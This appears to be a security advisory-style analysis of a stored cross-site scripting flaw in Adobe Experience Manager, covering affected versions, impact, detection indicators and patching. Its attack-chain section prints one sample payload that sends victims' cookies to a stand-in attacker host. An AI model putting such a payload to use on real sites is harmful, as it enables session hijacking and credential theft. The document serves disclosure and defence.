CVE-2025-46982: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46982 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available shortly after. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. A low-privileged authenticated attacker can submit malicious JavaScript payloads into vulnerable AEM form fields; the input is stored server-side without adequate sanitization or output encoding. When any user — including administrators — subsequently browses to the page containing the affected field, the injected script executes in their browser within the AEM application's security context. Exploitation requires low privileges to write content and user interaction (a victim visiting the affected page) (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who visits the compromised page, operating within the AEM application's origin. This can result in session cookie theft, credential harvesting via keylogging, unauthorized actions performed on behalf of the victim (including privilege escalation if an admin is targeted), and redirection to malicious external sites. Confidentiality and integrity are both impacted at a low level per CVSS, with no direct availability impact; however, targeting privileged users could amplify the effective impact significantly (Adobe Advisory, Feedly).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Feedly, Adobe Advisory).

1. Reconnaissance: Identify an AEM instance running version 6.5.22 or earlier (on-premises) or AEM Cloud Service prior to 2025.5.0. Confirm the target is accessible and that low-privileged account registration or access is possible.
2. Authenticate: Log in to the AEM instance with a low-privileged user account (e.g., a content author or contributor).
3. Locate vulnerable form field: Navigate to a page or component that contains a form field susceptible to stored XSS — such as a text input, rich text editor, or metadata field that does not properly sanitize input.
4. Inject payload: Submit a malicious JavaScript payload into the vulnerable field, for example: <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent encoded variant.
5. Payload persistence: The malicious script is stored server-side within AEM's content repository (JCR).
6. Victim triggers execution: When a victim (e.g., an administrator or another user) browses to the page containing the compromised field, the injected script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests from low-privileged accounts to content authoring endpoints (e.g., /content/, /libs/, or component edit paths) containing HTML/JavaScript tags or encoded script payloads in request bodies.
• File System / Content Repository: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded XSS strings stored within AEM JCR node properties or page content.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual cookie or session data transmitted to external endpoints.
• Logs: AEM error logs or browser console errors related to Content Security Policy (CSP) violations triggered by injected scripts, if CSP is enforced.

Adobe has released patches addressing this vulnerability: update AEM on-premises to version 6.5.23.0 or later, and update AEM Cloud Service to 2025.5.0 or later. No specific configuration-based workaround has been published; upgrading to the patched version is the primary recommended action. As supplementary hardening, organizations should enforce strict input validation and output encoding on all user-submitted content, apply the principle of least privilege to AEM author accounts, and consider implementing a Content Security Policy (CSP) to limit the impact of any XSS exploitation (Adobe Advisory).